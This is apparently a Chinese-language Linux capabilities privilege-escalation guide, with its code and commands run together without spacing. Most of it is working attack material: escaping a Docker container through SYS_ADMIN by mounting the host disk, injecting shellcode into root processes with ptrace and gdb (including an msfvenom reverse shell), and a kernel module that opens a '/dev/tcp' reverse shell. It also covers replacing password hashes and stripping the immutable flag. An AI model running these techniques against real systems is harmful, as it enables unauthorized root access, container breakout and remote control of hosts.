# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
这个命令在大多数系统上应该返回5行。
CapInh = 继承的能力
CapPrm = 允许的能力
CapEff = 有效的能力
CapBnd = 限制集
CapAmb = 环境能力集
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
环境能力
编译以下程序,可以在提供能力的环境中生成一个 bash shell。
ambient.c
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
dockerrun--rm-itr.j3ss.co/amicontainedbashCapabilities:BOUNDING ->chowndac_overridefownerfsetidkillsetgidsetuidsetpcapnet_bind_servicenet_rawsys_chrootmknodaudit_writesetfcap# Add a capabilitiesdockerrun--rm-it--cap-add=SYS_ADMINr.j3ss.co/amicontainedbash# Add all capabilitiesdockerrun--rm-it--cap-add=ALLr.j3ss.co/amicontainedbash# Remove all and add only onedockerrun--rm-it--cap-drop=ALL--cap-add=SYS_PTRACEr.j3ss.co/amicontainedbash
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
在先前的输出中,您可以看到已启用SYS_ADMIN功能。
Mount
这允许docker容器挂载主机磁盘并自由访问:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT =4PTRACE_GETREGS =12PTRACE_SETREGS =13PTRACE_ATTACH =16PTRACE_DETACH =17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclassuser_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: "+hex(registers.rip))print("Injecting Shellcode at: "+hex(registers.rip))# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.cshellcode ="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i inxrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: "+hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)
二进制文件示例(gdb)
gdb 具有 ptrace 能力:
/usr/bin/gdb = cap_sys_ptrace+ep
创建一个使用msfvenom生成的shellcode,通过gdb注入到内存中
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.pybuf =b""buf +=b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"buf +=b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"buf +=b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"buf +=b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"buf +=b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"buf +=b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"buf +=b"\x0f\x05"# Divisible by 8payload =b"\x90"* (8-len(buf)%8 ) + buf# Change endianess and print gdb lines to load the shellcode in RIP directlyfor i inrange(0, len(buf), 8):chunk = payload[i:i+8][::-1]chunks ="0x"for byte in chunk:chunks +=f"{byte:02x}"print(f"set {{long}}($rip+{i}) = {chunks}")
调试一个具有root权限的进程,并复制粘贴之前生成的gdb命令行:
# In this case there was a sleep run by root## NOTE that the process you abuse will die after the shellcode/usr/bin/gdb-p $(pgrepsleep)[...](gdb) set{long}($rip+0) =0x296a909090909090(gdb) set{long}($rip+8) =0x5e016a5f026a9958(gdb) set{long}($rip+16) =0x0002b9489748050f(gdb) set{long}($rip+24) =0x48510b0e0a0a2923(gdb) set{long}($rip+32) =0x582a6a5a106ae689(gdb) set{long}($rip+40) =0xceff485e036a050f(gdb) set{long}($rip+48) =0x6af675050f58216a(gdb) set{long}($rip+56) =0x69622fbb4899583b(gdb) set{long}($rip+64) =0x8948530068732f6e(gdb) set{long}($rip+72) =0x050fe689485752e7(gdb) cContinuing.process207009isexecutingnewprogram:/usr/bin/dash[...]
如果出现错误 "No symbol "system" in current context.",请检查通过gdb在程序中加载shellcode的先前示例。
带环境的示例(Docker越狱)- Shellcode注入
您可以使用以下命令检查Docker容器中启用的功能:
capsh--printCurrent:=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+epBoundingset=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcapSecurebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root
capsh--printCurrent:=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+epBoundingset=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcapSecurebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root)
在先前的输出中,您可以看到已启用SYS_MODULE功能。
创建将执行反向shell的内核模块,并创建Makefile来编译它:
reverse-shell.c
#include<linux/kmod.h>#include<linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[]= {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1",NULL};staticchar* envp[]= {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",NULL };// call_usermodehelper function is used to create user mode processes from kernel spacestaticint __init reverse_shell_init(void) {returncall_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}staticvoid __exit reverse_shell_exit(void) {printk(KERN_INFO "Exiting\n");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);
capsh--printCurrent:=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+epBoundingset=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcapSecurebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root)
#Find every file writable by a groupfind/-perm/g=w-execls-lLd{} \; 2>/dev/null#Find every file writable by a group in /etc with a maxpath of 1find/etc-maxdepth1-perm/g=w-execls-lLd{} \; 2>/dev/null#Find every file readable by a group in /etc with a maxpath of 1find/etc-maxdepth1-perm/g=r-execls-lLd{} \; 2>/dev/null
import ctypes, sys#Load needed library#You can find which library you need to load checking the libraries of local setcap binary# ldd /sbin/setcaplibcap = ctypes.cdll.LoadLibrary("libcap.so.2")libcap.cap_from_text.argtypes = [ctypes.c_char_p]libcap.cap_from_text.restype = ctypes.c_void_plibcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]#Give setuid cap to the binarycap ='cap_setuid+ep'path = sys.argv[1]print(path)cap_t = libcap.cap_from_text(cap)status = libcap.cap_set_file(path,cap_t)if(status ==0):print (cap +" was successfully added to "+ path)
#Check that the file is imutablelsattr file.sh----i---------e--- backup.sh
#Pyhton code to allow modifications to the fileimport fcntlimport osimport structFS_APPEND_FL =0x00000020FS_IOC_SETFLAGS =0x40086602fd = os.open('/path/to/file.sh', os.O_RDONLY)f = struct.pack('i', FS_APPEND_FL)fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)f=open("/path/to/file.sh",'a+')f.write('New content for the file\n')
# Create a block special file for the host devicemknod/dev/sdbb816# Set read and write permissions for the user and groupchmod660/dev/sdb# Add the corresponding standard user present on the hostuseradd-u1000standarduser# Switch to the newly created usersustandarduser
回到主机:
# Locate the PID of the container process owned by "standarduser"# This is an illustrative example; actual command might varypsaux|grep-icontainer_name|grep-istandarduser# Assuming the found PID is 12345# Access the container's filesystem and the special block devicehead/proc/12345/root/dev/sdb